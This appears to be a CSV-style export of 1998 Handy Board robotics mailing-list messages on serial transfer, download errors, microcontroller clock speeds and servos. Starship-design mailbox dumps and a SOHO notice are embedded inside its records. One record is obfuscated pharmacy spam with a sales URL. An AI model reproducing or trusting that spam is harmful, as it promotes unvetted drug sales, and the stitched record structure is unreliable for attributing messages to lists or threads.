Fred ",0,0 michaelj@wt.net,handyboard@media.mit.edu,"Fri, 26 Jun 1998 09:09:04 +0500",Re: serial transfer,"Most of the commercial telecommunication packages can log incoming data from the com port to a file. Most freeware and shareware versions also do this. Mike > > >I was wondering if anyone knew of any software written for DOS/WIN that >would save data as it is being sent to the serial port of the computer. > >Ilya > > ",0,0 Germán Gentile ,"michaelj@wt.net, handyboard@media.mit.edu","Fri, 26 Jun 1998 13:23:00 -0300",RE: serial transfer,"Pleas ere-read the answer. If i have a programa sending data to the serial com port, nobody can open that port to log into a file! What he want is some to do that (two programs reading the sam port). I search some like that, and found a shareware package called: comtap. It allow to build a wire between you serial port and the device to be atachhed to the serial port, and monitor all tha activity. If you want that pealse e-mail me. > -----Original Message----- > From: michaelj@wt.net [mailto:michaelj@wt.net] > Sent: Viernes 26 de Junio de 1998 01:09 > To: handyboard@media.mit.edu > Subject: Re: serial transfer > > > Most of the commercial telecommunication packages can log > incoming data from > the com port to a file. Most freeware and shareware versions also do this. > > Mike > > > > > >I was wondering if anyone knew of any software written for DOS/WIN that > >would save data as it is being sent to the serial port of the computer. > > > >Ilya > > > > > ",0,0 Germán Gentile ,"Luc Bodson , handyboard@media.mit.edu","Fri, 26 Jun 1998 13:23:54 -0300",RE: ICQ ,"Be aware of ICQ!!!! Tou can be nuked!!! > -----Original Message----- > From: Luc Bodson [mailto:cyberoptics@pandora.be] > Sent: Viernes 26 de Junio de 1998 11:21 > To: handyboard@media.mit.edu > Subject: ICQ > > > If you all are interested in a chatgroup using ICQ, please let me > know and i > will create a chatchannel that is only for us people interested in the > handyboard to be used. > Thanks and please email me your comments : > > ICQ : 617203 > Luc Bodson > Cyber Optics > Belgium > > ",0,0 """R.A. Gaunt"" ",handyboard@media.mit.edu,"Fri, 26 Jun 1998 11:32:42 -0700",Download problems,"Hi there, I am having some strange downloading problems. I have had my handyboard working in the past but cannot get ti to work now. I am using a macintosh with the lastest version of the mac downloader. The first segment of the downloading goes fine and the second stage where it loads the pcode to the handyboard almost completes. The downloading gets to 7360 bytes instead of something like 7500. An error message comes up and says that the bytes programmed does not match the bytes sent and to check the power on the board because low power conditions can cause memory errors. I have checked through the board quite carefully. The only things that I think could be wrong are that the voltage at pin 28 of the memory chip is 5.2 volts. Is this a problem? Any suggestions would be greatly appreciated. Thanks Robert Gaunt University of Victoria ",0,0 Colin Barnard ,"""handyboard@media.mit.edu"" ","Fri, 26 Jun 1998 20:27:53 +0100","Robot football competition, Science Museum London","If you haven't had enough of football yet here's one for your robots. No entry fee, no registration just turn up on the day. Unfortunately the size restriction of 6cms dia tends to exclude the Handyboard but may be worth a look anyway. Here is the url: http://www.dcs.qmw.ac.uk/RFC/SecondARFT.html Regards to all and best wishes to all the people in Northern Ireland on this momentous day. Colin Barnard ",0,1 """Fred G. Martin"" ","""R.A. Gaunt"" ","Fri, 26 Jun 1998 16:54:09 -0400",Re: Download problems ,"check that your pcodeb.s19 file is not corrupted (i.e. get a fresh copy from the web site) it is possible that you have a RAM failure. fred In your message you said: > Hi there, I am having some strange downloading problems. I have had my > handyboard working in the past but cannot get ti to work now. I am using > a macintosh with the lastest version of the mac downloader. The first > segment of the downloading goes fine and the second stage where it loads > the pcode to the handyboard almost completes. The downloading gets to > 7360 bytes instead of something like 7500. An error message comes up and > says that the bytes programmed does not match the bytes sent and to check > the power on the board because low power conditions can cause memory > errors. I have checked through the board quite carefully. The only > things that I think could be wrong are that the voltage at pin 28 of the > memory chip is 5.2 volts. Is this a problem? > > Any suggestions would be greatly appreciated. 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Connected to those timers are about the following : -PWM 1 & 2 -Wavegenerator (if it has one) - timer unit (capture and compare unit) - counters - serial interface (UARTS) Maybe there is more, but at this time a can't think of any. What your main problem will be if using motion control is that your pwm will run at a 25% higher speed and the time critical stuff relaying on the timer structure. Further any real tme interrupts will run 25% faster. Speed measurement using the timers will go wrong by 25%. You may have to change all the above to be sure your system doesn't do strange things. Hope this helps a little. BYE Tom brian-c@technologist.com schrieb: > This question has nothing to do with the Handy Board > although it is a general question which I need some > help with. > > Previous students at the school I attend left behind > a robot which they worked on. The microcontroller was > Intel's 80C196. The microcontroller is shot however, > so we need to get a replacement. It is offered in both > 16 and 20 MHz versions. The original used in the robot > was the 16 MHz version, however we can only find the > 20 MHz version now. > > If I was to replace the 16 MHz controller with a > 20 MHz version would it affect any of the programming? > What would some effects be if any? > > Maybe direct help some of you big microcontroller > gurus would be best. (Fred, Randy,... hint,hint) :) > > Thanks in advance, > _________________________________________________ > ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ > Brian Carvalho [ brian-c@ieee.org ] > DeVRY Institute > New Jersey > _________________________________________________ > ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ > --------------------------------------------------- > Get free personalized email at http://www.iname.com ",0,1 Patrick Cutts ,handyboard@media.mit.edu,"Sun, 28 Jun 1998 10:12:15 -0700",Re: microcontroller speeds,"If they replace the controller on their board with a chip that is rated at 20MHz but they are still using the old board with its 16MHz oscillator won't it still run at 16MHz? ---------- > From: Thomas Hauri > To: brian-c@technologist.com > Cc: handyboard@media.mit.edu > Subject: Re: micrcontroller speeds > Date: Sunday, June 28, 1998 8:34 AM > > Hi > > Replacing the 16MHz version with the 20 Mhz CPU would affect only the > timer speed of the internal timers. > We are using the MC and MD versoon of the 196. > Connected to those timers are about the following : > > -PWM 1 & 2 > -Wavegenerator (if it has one) > - timer unit (capture and compare unit) > - counters > - serial interface (UARTS) > > Maybe there is more, but at this time a can't think of any. > > What your main problem will be if using motion control is that your pwm > will run at a 25% higher speed and the time critical stuff relaying on > the timer structure. Further any real tme interrupts will run 25% > faster. Speed measurement using the timers will go wrong by 25%. > > You may have to change all the above to be sure your system doesn't do > strange things. > > Hope this helps a little. > > BYE Tom > > > > > brian-c@technologist.com schrieb: > > > This question has nothing to do with the Handy Board > > although it is a general question which I need some > > help with. > > > > Previous students at the school I attend left behind > > a robot which they worked on. The microcontroller was > > Intel's 80C196. The microcontroller is shot however, > > so we need to get a replacement. It is offered in both > > 16 and 20 MHz versions. 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If servos are changed one-at-a-time then one leg would be dragging the others. A design that can control multiple servos but only by changing them one-at-a-time seems like one that is not suited for walking robots. What kind of a controller would be used to manage this? Have I overlooked something? -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! ----------------------------------------------------------------- ",0,0 John Hatton ,"'Mike Davis' , 'Handyboard Mailing List' ","Mon, 29 Jun 1998 17:11:29 +0100",RE: Walking Robot Question,"Mike, I have mentioned before that I am going to use a Novasoft MSCC11 board with an HC811E2 (which has 8K EEPROM on board) and a piece of software called Robobug which uses all 16 of the i/o pins to control 16 servos. These servos are all controlled at the same time, I would have to re-read the info to tell you how but it appears to work. Email me if you want any more info and I'll dig it out (along with a copy of the software and documentation if you want it. John Hatton john_hatton@bigfoot.com >---------- >From: Mike Davis[SMTP:ipscone@halcyon.com] >Sent: 29 June 1998 16:26 >To: handyboard@media.mit.edu >Subject: Walking Robot Question > >I'm wondering how the servos are controlled on a walking robot. > >I would imagine that multiple legs would have to be moved simultaneously and >in sync with each other. If servos are changed one-at-a-time then one leg >would be dragging the others. A design that can control multiple servos but >only by changing them one-at-a-time seems like one that is not suited for >walking robots. > >What kind of a controller would be used to manage this? Have I overlooked >something? >-- >----------------------------------------------------------------- >ipscone@halcyon.com Shoot-To-Win! > >Protect the 2nd Amendment! Your rights may be next! >----------------------------------------------------------------- > > ",0,0 Mike Davis ,handyboard@media.mit.edu,"Mon, 29 Jun 1998 12:04:30 -0700",Cirrus Servos - Question - How do they rate compared to Futaba," I have a Cirrus Cs-20 BB Sub-Micro Servo that I have been using for testing. I was wondering how this servo compares to others like Futuba and others. Since I know how this one behaves, I can use that info as a comparrison. What Futuba mode is closest to this one? (11 oz-in at 4.8v) Are there any dasheets for Futaba or Cirrus on the web? Thanks -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! ----------------------------------------------------------------- ",0,0 michaelj@wt.net,handyboard@media.mit.edu,"Mon, 29 Jun 1998 15:00:00 +0500",Re: Cirrus Servos - Question - How do they rate compared to Futaba,"Try http://www.fmadirect.com go to product info and then servos. Mike > >I have a Cirrus Cs-20 BB Sub-Micro Servo that I have been using for testing. I >was wondering how this servo compares to others like Futuba and others. >Since I know how this one behaves, I can use that info as a comparrison. > >What Futuba mode is closest to this one? (11 oz-in at 4.8v) > >Are there any dasheets for Futaba or Cirrus on the web? > >Thanks >-- >----------------------------------------------------------------- >ipscone@halcyon.com Shoot-To-Win! > >Protect the 2nd Amendment! Your rights may be next! >----------------------------------------------------------------- > > ",0,1 gjbell@west.raytheon.com,handyboard@media.mit.edu,"Mon, 29 Jun 1998 15:05:11 -0800",Unsubscribe," Please unsubscribe Thanks Grady ",0,0 Fred G Martin ,handyboard@media.mit.edu,"Mon, 29 Jun 1998 21:38:57 -0400",HOW TO UNSUBSCRIBE,"This is the periodic unsubscribe message. To unsubscribe from the Handy Board list, please send mail to fredm@media.mit.edu He is the only one who can remove you from the list. That way, when you send mail to fredm@media.mit.edu you're not telling 300 people who can't do a durn thing about it that you want to unsubscribe. yours respectfully, fredm@media.mit.edu ",0,0 Fred G Martin ,handyboard@media.mit.edu,"Mon, 29 Jun 1998 21:50:01 -0400","USA Today Media Lab story, 6/29/98","Hi all, Those of you in the States might have caught today's issue of USA Today, which has a cover story on the Media Lab's research, including a photo of yours truly and a few paragraphs about the LEGO Mindstorms Robotics Invention System. there's a web link at http://www.usatoday.com/news/acovmon.htm . see also http://www.usatoday.com/news/nds32.htm for the blurb about my stuff. anyway, it's pretty exciting, and thought some of you might be interested :-). Fred ",0,1 """Sarah E. Gibson"" ",wholesun@sohops.gsfc.nasa.gov,"Tue, 30 Jun 1998 10:33:06 -0400",lost contact with SOHO,"Dear WholeSun folks, Unfortunately, as many of you no doubt have now heard, contact with the SOHO spacecraft was lost on June 26. (see http://sohowww.nascom.nasa.gov/pr26june.html for details.) Although a retrieval of contact is still possible and being actively sought, it seems likely that the WSM2 campaign in August, 1998, will be affected. There are three likely possibilities: 1) SOHO is retrieved soon, and WSM2 will go on as planned. 2) SOHO is retrieved in the future, but too late for an August WSM2 campaign, in which case we will probably try to reschedule. 3) SOHO is not retrieved, in which case we will run a limited campaign involving studies that can still achieve their scientific goals. Specifically, JOP 81, the magnetic field structure study - http://sohops.gsfc.nasa.gov/whole_sun/HOMEPAGE/WSM2/MAGJOP/magjop.html can be run in conjunction with JOP 84, the coronal active region study - http://diapason.space.lockheed.com/~alexande/WSM_II/JOP.html using Kitt Peak, Sac Peak, Mees, OVRO, Yohkoh, Canarias and Trace observations. We would not have MDI, EIT, or CDS data, but these were not absolutely essential for reaching the goals of those two JOPs. Ground based coronagraph observations will continue to be taken, including Mauna Loa and Sac Peak, which were used in the WSM1 campaign: these along with special off-pointing Yohkoh observations would allow an analysis along the lines of the JOP 76 streamer study - http://sohops.gsfc.nasa.gov/whole_sun/HOMEPAGE/WSM2/STREAMJOP/gibson.html Also, IPS observations can go on as planned involving Ooty, EISCAT, and Nagoya http://sohops.gsfc.nasa.gov/whole_sun/HOMEPAGE/WSM2/WINDJOP/windjop.html and of course in situ solar wind observations will continue to be taken. If there are any questions or suggestions for how best to deal with this unfortunate turn of events, please contact gibson@thalia.gsfc.nasa.gov and/or doug@ajcannon.nascom.nasa.gov. Updates to the WSM2 plans will be posted at http://sohops.gsfc.nasa.gov/whole_sun/HOMEPAGE/WSM2/plans.html Cheers, Doug Biesecker Sarah Gibson ",0,1 """Michael S. Davis"" ",handyboard@media.mit.edu,"Tue, 30 Jun 1998 09:49:27 -0700",Sony IR Encoding Question - Sources," Does anyone know if there is a chip or software to allow the creation of Sony Encoded IR signals. Since there IS software to decode Sony IR, I would like to be able to generate, via computer, this Sony IR rather than using a Remote Control device. Any help would be appreciated. ---------------------------------------------------- Shoot-to-Win Protect the 2nd Amendment ---------------------------------------------------- ",0,0 GJZ@aol.com,handyboard@media.mit.edu,"Tue, 30 Jun 1998 13:42:03 -0400",data interface,"is there anyway to retrieve an integer array from the handyboard's memory using interactive c? Justin D. Gullotta.. , Engineer, Rensselaer Polytechnic Institute. ",0,0 """E. Baeck"" ","""ssweeney@sanders.com"" , Handy Board ","Tue, 30 Jun 1998 22:37:19 +0100",Re: Looking for voice recognition chip,"Hi Skye, I play in this time also with voice recognicition chips (and voice record + playback also for my rug warrior like bot) and I found two of them very interesting: the first is the MSM6679A-110 manufactured by OKI. This is a very large chip with 84 Pins (PLCC) but he includes voice record and playback also and is relatively difficult to program. The second one is the HM2007 manufactured by HMC (this is Hualon Microelectronics in Taiwan), this is a very simple chip but very good for robotics. Check out the following sites also, they are very interesting: http://www.seattlerobotics.org/encoder/jul97/gensys.html and http://www.the4cs.com/~corin/cse477/toaster/ Cheers Erwin ===================================================== Real name : Erwin Baeck - Hard- + Software Technician since 1978 Real address: Graz-Styria-Austria - The country of Mozart + Strauss Email address : erwin.baeck@styria.com or erb@computerhaus.at Phone + fax number : ++43 316 473109 Mobil : ++43 664 423 1952 ===================================================== Skye Sweeney schrieb: > I read in the last year about a chip that does voice recognition. I think > two versions > may be available. One that is speaker independant but has a very limited > vocabulary > (yes and no sticks in my mind) and the other somewhat more fancy. > > Does anybody know the manufacturer or part number(s)? Have need for > something > like this at work. Can't seem to remember where I read it. > > ""God has nothing to do with Air Traffic Control. He is still upset we > learned to fly..."" > > Skye Sweeney > ssweeney@sanders.com ",0,1 Chad K Humberstone ,handyboard@media.mit.edu,"Tue, 30 Jun 1998 15:23:16 -0600",IC support data types?,"Is there a verstion of IC that supports data types like struct? Thanks, Chad Humberstone EUCLID Mobile Robot Lab ",0,0 KellySt@aol.com,"Magnus_Draigh@WEBTV.NET, starship-design@lists.uoregon.edu","Wed, 01 Jul 1998 00:24:57 -0400",starship-design: Re: Tau Ceti,"In a message dated 6/27/98 8:36:48 PM, you wrote: >I think I missed it, but, were is the galaxy Tau Ceti >located?(Hemisphere, constilation, close stars,) I would be very happy >if you could answer my question. Thanx alot Can't remember off-hand. I'll forward it to the group. Oh, Tau Ceti is a star, not a galaxy. Kelly >From VM Wed Jul 1 09:47:42 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""978"" ""Tue"" ""30"" ""June"" ""1998"" ""22:39:27"" ""-0700"" ""Steve VanDevender"" ""stevev@efn.org"" nil ""29"" ""starship-design: Re: Tau Ceti"" ""^From:"" nil nil ""6"" nil nil nil nil nil] nil) Content-Length: 978 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id WAA10704 for starship-design-outgoing; Tue, 30 Jun 1998 22:39:16 -0700 (PDT) Received: from hexadecimal.uoregon.edu (hexadecimal.uoregon.edu [128.223.32.56]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id WAA10688 for ; Tue, 30 Jun 1998 22:39:13 -0700 (PDT) Received: from tzadkiel.efn.org (tzadkiel.efn.org [204.214.99.68]) by hexadecimal.uoregon.edu (8.8.8/8.8.8) with ESMTP id WAA11628; Tue, 30 Jun 1998 22:39:11 -0700 (PDT) Received: (from stevev@localhost) by tzadkiel.efn.org (8.8.8/8.8.8) id WAA01327; Tue, 30 Jun 1998 22:39:30 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <13721.52112.38389.695016@localhost.efn.org> In-Reply-To: <9bfdf536.3599ba1a@aol.com> References: <9bfdf536.3599ba1a@aol.com> X-Mailer: VM 6.53 under 20.4 ""Emerald"" XEmacs Lucid Precedence: bulk Reply-To: Steve VanDevender From: Steve VanDevender Sender: owner-starship-design@lists.uoregon.edu To: KellySt@aol.com Cc: Magnus_Draigh@WEBTV.NET, starship-design@lists.uoregon.edu Subject: starship-design: Re: Tau Ceti Date: Tue, 30 Jun 1998 22:39:27 -0700 (PDT) KellySt@aol.com writes: > > In a message dated 6/27/98 8:36:48 PM, you wrote: > > >I think I missed it, but, were is the galaxy Tau Ceti > >located?(Hemisphere, constilation, close stars,) I would be very happy > >if you could answer my question. Thanx alot > > Can't remember off-hand. I'll forward it to the group. Oh, Tau Ceti is a > star, not a galaxy. > > Kelly Tau Ceti is in the constellation Cetus, which is normally visible in autumn and winter in northern latitudes. Cetus is just south of the zodiacal constellation Pisces. Tau Ceti's sky coordinates are: RA 01h 41m 45s Dec -16 deg 12.0 min Its spectral class is G8, making it somewhat cooler than our Sun, and is also about a third as luminous with an absolute visual magnitude of 5.77. For an excellent set of constellation charts that you can easily use to find constellations in the sky, I recommend H. A. Rey's _The Stars_, which was originally published in 1952 and is still in print. >From VM Thu Jul 2 16:12:39 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1086"" ""Thu"" ""2"" ""July"" ""1998"" ""19:11:11"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""34"" ""Re: starship-design: Re: Tau Ceti"" ""^From:"" nil nil ""7"" nil nil nil nil nil] nil) Content-Length: 1086 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id QAA11921 for starship-design-outgoing; Thu, 2 Jul 1998 16:12:26 -0700 (PDT) Received: from imo18.mx.aol.com (imo18.mx.aol.com [198.81.17.8]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id QAA11888 for ; Thu, 2 Jul 1998 16:12:23 -0700 (PDT) Received: from KellySt@aol.com by imo18.mx.aol.com (IMOv14_b1.1) id 7EKHa29473; Thu, 2 Jul 1998 19:11:11 -0400 (EDT) Message-ID: Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: stevev@efn.org Cc: Magnus_Draigh@WEBTV.NET, starship-design@lists.uoregon.edu Subject: Re: starship-design: Re: Tau Ceti Date: Thu, 2 Jul 1998 19:11:11 EDT In a message dated 6/30/98 11:39:28 PM, stevev@efn.org wrote: >KellySt@aol.com writes: > > > > In a message dated 6/27/98 8:36:48 PM, you wrote: > > > > >I think I missed it, but, were is the galaxy Tau Ceti > > >located?(Hemisphere, constilation, close stars,) I would be very happy > > >if you could answer my question. Thanx alot > > > > Can't remember off-hand. I'll forward it to the group. Oh, Tau Ceti is a > > star, not a galaxy. > > > > Kelly > >Tau Ceti is in the constellation Cetus, which is normally visible >in autumn and winter in northern latitudes. Cetus is just south >of the zodiacal constellation Pisces. Tau Ceti's sky coordinates >are: > >RA 01h 41m 45s >Dec -16 deg 12.0 min > >Its spectral class is G8, making it somewhat cooler than our Sun, >and is also about a third as luminous with an absolute visual >magnitude of 5.77. > >For an excellent set of constellation charts that you can easily >use to find constellations in the sky, I recommend H. A. Rey's >_The Stars_, which was originally published in 1952 and is still >in print. Thanks steve! >From VM Mon Jul 6 09:50:55 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1498"" ""Thu"" ""2"" ""July"" ""1998"" ""21:37:06"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""45"" ""starship-design: Fwd: http://sunsite.unc.edu/lunar/school/marine/index.html"" ""^From:"" nil nil ""7"" nil nil nil nil nil] nil) Content-Length: 1498 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id SAA15882 for starship-design-outgoing; Thu, 2 Jul 1998 18:37:53 -0700 (PDT) Received: from imo16.mx.aol.com (imo16.mx.aol.com [198.81.17.6]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id SAA15870 for ; Thu, 2 Jul 1998 18:37:50 -0700 (PDT) Received: from KellySt@aol.com by imo16.mx.aol.com (IMOv14_b1.1) id 2VYZa27696 for ; Thu, 2 Jul 1998 21:37:06 +2000 (EDT) Message-ID: <4efce089.359c35c3@aol.com> Mime-Version: 1.0 Content-type: multipart/mixed; boundary=""part0_899429826_boundary"" X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: Fwd: http://sunsite.unc.edu/lunar/school/marine/index.html Date: Thu, 2 Jul 1998 21:37:06 EDT This is a multi-part message in MIME format. --part0_899429826_boundary Content-ID: <0_899429826@inet_out.mail.aol.com.1> Content-type: text/plain; charset=US-ASCII --part0_899429826_boundary Content-ID: <0_899429826@inet_out.mail.aol.com.2> Content-type: message/rfc822 Content-transfer-encoding: 7bit Content-disposition: inline Return-Path: Received: from relay26.mx.aol.com (relay26.mail.aol.com [172.31.109.26]) by air08.mail.aol.com (v45.13) with SMTP; Thu, 02 Jul 1998 06:31:26 -0400 Received: from orions0.orion.org (orions0.orion.org [198.209.8.195]) by relay26.mx.aol.com (8.8.8/8.8.5/AOL-4.0.0) with ESMTP id GAA26841 for ; Thu, 2 Jul 1998 06:31:22 -0400 (EDT) Received: from orionc0.orion.org (orionc0 [198.209.8.196]) by orions0.orion.org (8.8.8/8.8.8) with ESMTP id FAA21228 for ; Thu, 2 Jul 1998 05:31:13 -0500 (CDT) From: Steve Crutchfield Received: by orionc0.orion.org (8.8.5) id FAA20549; Thu, 2 Jul 1998 05:31:13 -0500 (CDT) Date: Thu, 2 Jul 1998 05:31:13 -0500 (CDT) Message-Id: <199807021031.FAA20549@orionc0.orion.org> To: KellySt@aol.com X-URL: http://sunsite.unc.edu/lunar/school/marine/index.html X-Mailer: Lynx, Version 2.7.1 Subject: http://sunsite.unc.edu/lunar/school/marine/index.html Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit US Subs has moved to: http://www.ussubs.com/ --part0_899429826_boundary-- >From VM Mon Jul 6 09:50:57 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""662"" ""Sun"" ""5"" ""July"" ""1998"" ""12:59:59"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""21"" ""starship-design: Re: Tau ceti"" ""^From:"" nil nil ""7"" nil nil nil nil nil] nil) Content-Length: 662 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id KAA14742 for starship-design-outgoing; Sun, 5 Jul 1998 10:00:36 -0700 (PDT) Received: from imo19.mx.aol.com (imo19.mx.aol.com [198.81.17.9]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id KAA14707 for ; Sun, 5 Jul 1998 10:00:33 -0700 (PDT) Received: from KellySt@aol.com by imo19.mx.aol.com (IMOv14_b1.1) id 2WMZa04161; Sun, 5 Jul 1998 12:59:59 -0400 (EDT) Message-ID: Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: Solarfm@aol.com, starship-design@lists.uoregon.edu Subject: starship-design: Re: Tau ceti Date: Sun, 5 Jul 1998 12:59:59 EDT In a message dated 7/3/98 2:24:55 PM, you wrote: >Greetings, > >I just read the Charter of the starship thing on the web site, and are you serious >that there is a ""Solar-System"" in Tau Ceti? Their could be. So far no one knows, but their no real reason to think there isn't one there. We kinda moved focus to Alpha centuri thou. Its closer, which is really important given our speed limits. >And how long would it take to reach >there with the technology of an explorer class ship? The explorer class could get up to about 1/3rd light speed, the fuel/sail class about 40% of light speed. So a Fuel/Sail could get to Alpha C. in about 12 years. Kelly >From VM Wed Jul 8 11:46:11 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""3635"" ""Wed"" ""8"" ""July"" ""1998"" ""07:55:28"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""95"" ""starship-design: FW: SSRT: X-33 Thermal Protection System Test Complete (fwd)"" ""^From:"" nil nil ""7"" nil nil nil nil nil] nil) Content-Length: 3635 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id LAA06048 for starship-design-outgoing; Wed, 8 Jul 1998 11:44:11 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id LAA06031 for ; Wed, 8 Jul 1998 11:44:07 -0700 (PDT) Received: from destin.gulfnet.com.gulfnet.com (p209.gnt.com [204.49.89.209]) by hurricane.gnt.net (8.9.0/8.9.0) with SMTP id NAA02145 for ; Wed, 8 Jul 1998 13:44:00 -0500 Message-ID: <000001bdaaa0$4d808700$d15931cc@destin.gulfnet.com.gulfnet.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""'LIT Starship Design Group'"" Subject: starship-design: FW: SSRT: X-33 Thermal Protection System Test Complete (fwd) Date: Wed, 8 Jul 1998 07:55:28 -0500 -----Original Message----- From: listserv@ds.cc.utexas.edu [mailto:listserv@ds.cc.utexas.edu] On Behalf Of Chris W. Johnson Sent: Friday, July 03, 1998 6:11 PM To: Single Stage Rocket Technology News Subject: SSRT: X-33 Thermal Protection System Test Complete (fwd) Jim Cast Headquarters, Washington, DC June 30, 1998 (Phone: 202/358-1779) Fred A. Brown Dryden Flight Research Center, Edwards, CA (Phone: 805/258-2663) Dom Amatore Marshall Space Flight Center, Huntsville, AL (Phone: 256/544-0031) Ron Lindeke Lockheed Martin Skunk Works, CA (Phone: 805/572-4153) RELEASE: 98-117 X-33 THERMAL PROTECTION SYSTEM TESTS COMPLETE NASA's F-15B Aerodynamic Flight Facility aircraft has successfully completed flight testing of Thermal Protection System (TPS) materials for the X-33 Advanced Technology Demonstrator at NASA's Dryden Flight Research Center, Edwards, CA. Six flights were flown to test the durability of the TPS materials at flight velocities above the speed of sound, providing data to the X-33 demonstrator program team. The X-33 is scheduled to begin test flights in July 1999. ""This is an excellent example of all the testing the X-33 program is performing on the challenging technologies we need for a reusable launch vehicle,"" said Dan Dumbacher, NASA's X-33 deputy program manager. Thermal protection systems are used on spacecraft to protect them during flight, primarily as a ""heat shield"" during reentry into Earth's atmosphere. Though the X-33 is a sub-orbital technology demonstrator for an eventual commercially developed and operated single-stage-to-orbit launch system, the X-33 will encounter an extreme heating environment similar to what such a vehicle will encounter during orbital spaceflight and atmospheric reentry. The F-15B reached an altitude of 36,000 feet and a top speed of Mach 1.4 during the flight series. No damage or signs of wear from high speed or maneuvering were apparent on any of the TPS materials, providing further confidence to the X-33 team in the ability of the materials to successfully protect the X-33 and follow-on vehicles in the harsh environment in which they will fly. ""With the F-15B we were able to accomplish the X-33 TPS durability flights in a timely and cost-effective manner,"" said Roy Bryant, Dryden's F-15B project manager. ""The X-33 TPS team is very happy with the data obtained during these tests. A satisfied customer indicates a job well done by the F-15 project team."" The TPS material samples include metallic Inconel tiles, soft Advanced Flexible Reusable Surface Insulation tiles and sealing materials. They were flown attached to the forward-left side position of the F-15B's Flight Test Fixture II, a device attached underneath the aircraft to carry experiments. In-flight video from the aircraft's onboard video system and chase aircraft photo and video cameras documented the condition of the TPS materials during flights. ""I appreciated the expeditious manner in which this flight project was accomplished,"" said Gary Trippensee, Dryden's X-33 project manager. ""The combined B.F. Goodrich Co., Richfield, OH; NASA's Ames Research Center, Moffett Field, CA; and Dryden test team provided valuable X-33 TPS flight qualification data efficiently and timely,"" Trippensee said. -end- NOTE TO EDITORS: Photos are available to media representatives from NASA Headquarters by calling 202/358-1900; from the Dryden Photo Archive by calling 805/258-2664; or on the World Wide Web at: http://www.dfrc.nasa.gov/gallery/photo/index.html",0,1 GJZ@aol.com,handyboard@media.mit.edu,"Tue, 30 Jun 1998 22:54:13 -0400",data acquisition,"is there anyway to retrieve an integer array from the handyboard's memory using interactive c? i need a way to save a large integer array from the memory of the HB on a disk drive of my PC. is this possible? Justin D. Gullotta.. , Engineer, Rensselaer Polytechnic Institute. ",0,0 Aaron Edsinger ,handy ,"Wed, 01 Jul 1998 02:06:39 +0100",Serial Interface,"Hello, I've been having some problems using my HandyBoard to talk directly to my PC via the serial interface. I disable Interactive C and then Poke() and Peek() as has been described on this list. I send short character strings from my PC to the HandyBoard under Windows 95. If I send strings longer than 2 characters, it seems that some of the characters get lost. This behavior seems to be affected by repositioning or slightly modifying the code, suggesting perhaps a timing issue. Why might this be? Is there any way to check for an error situation? Thanks for any help, Aaron ",0,0 Ronnie Doxey ,handyboard@media.mit.edu,"Tue, 30 Jun 1998 19:15:33 -0700",Re: your VtAGRpA,"Hi X A V P V C L a m A r I I e n b L o A A v a i I z G L i x e U a R I t n M c A S ra http://www.wasisionders.com wood. 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This > behavior seems to be affected by repositioning or slightly modifying the > code, suggesting perhaps a timing issue. Although there is the HEXMON program, I too, have been trying to do what you describe, and encountered the same problems. I found it to be a timing issue, and, through trial and error, have a found some settings that seem to work most of the time. My goal was to make C code that looked the same when compiled and run on the Host is the code that ran under IC. I am including the host and HB programs here. If anyone knows of a better way of communicating, please let us know. -Doug Blank ===================================================================== dblank@comp.uark.edu Douglas 